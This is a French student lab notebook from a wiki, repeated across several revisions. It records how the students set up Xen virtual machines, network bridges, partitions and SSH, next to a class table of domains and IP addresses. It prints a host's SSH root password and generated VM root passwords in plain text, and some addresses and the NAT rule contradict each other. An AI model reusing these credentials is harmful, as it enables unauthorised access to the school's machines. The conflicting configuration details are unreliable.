</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-09T14:58:43Z

Cpayet : /* Nos résultats : */

Atelier SysRes SE4 2025/2026 E5

2026-02-02T07:53:15Z

Cpayet : /* Utiles */

Atelier SysRes SE4 2025/2026 E5

2026-02-02T00:04:45Z

Cpayet : /* Etape 3 : Création des VMs */

Atelier SysRes SE4 2025/2026 E5

2026-02-01T23:20:26Z

Cpayet : /* Etape 1 : Connexion SSH */

Fichier:DNSSec.png

2026-02-01T23:04:34Z

Cpayet :

DNSSec

Fichier:DNS Check.png

2026-02-01T22:19:30Z

Cpayet :

DNS Check

Atelier SysRes SE4 2025/2026 E5

2026-01-27T17:13:57Z

Cpayet : /* DNS */

Atelier SysRes SE4 2025/2026 E5

2026-01-27T15:41:10Z

Cpayet : /* DNS */

Atelier SysRes SE4 2025/2026 E5

2026-01-27T15:37:32Z

Cpayet : /* Nos résultats : */

Atelier SysRes SE4 2025/2026 E5

2026-01-27T14:59:14Z

Cpayet : /* Nos résultats : */

Atelier SysRes SE4 2025/2026 E5

2026-01-27T14:37:42Z

Cpayet : /* Nos résultats : */

Atelier SysRes SE4 2025/2026 E5

2026-01-27T13:48:34Z

Cpayet : /* Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné */

SE4 IdO sécurité système/réseau 2025/2026

2026-01-27T13:46:11Z

Cpayet : /* Répartition des binômes pour les travaux pratiques "administration système et réseau" */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|-
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E5

2026-01-27T13:34:59Z

Cpayet : /* Machines de Service - CachyOS & Manjaro */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====
(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.1.0/24
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T11:25:33Z

Cpayet : /* SSH */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====
(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
mascaradeiptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.1.0/24
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T11:15:32Z

Cpayet : /* Etape 4 : */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
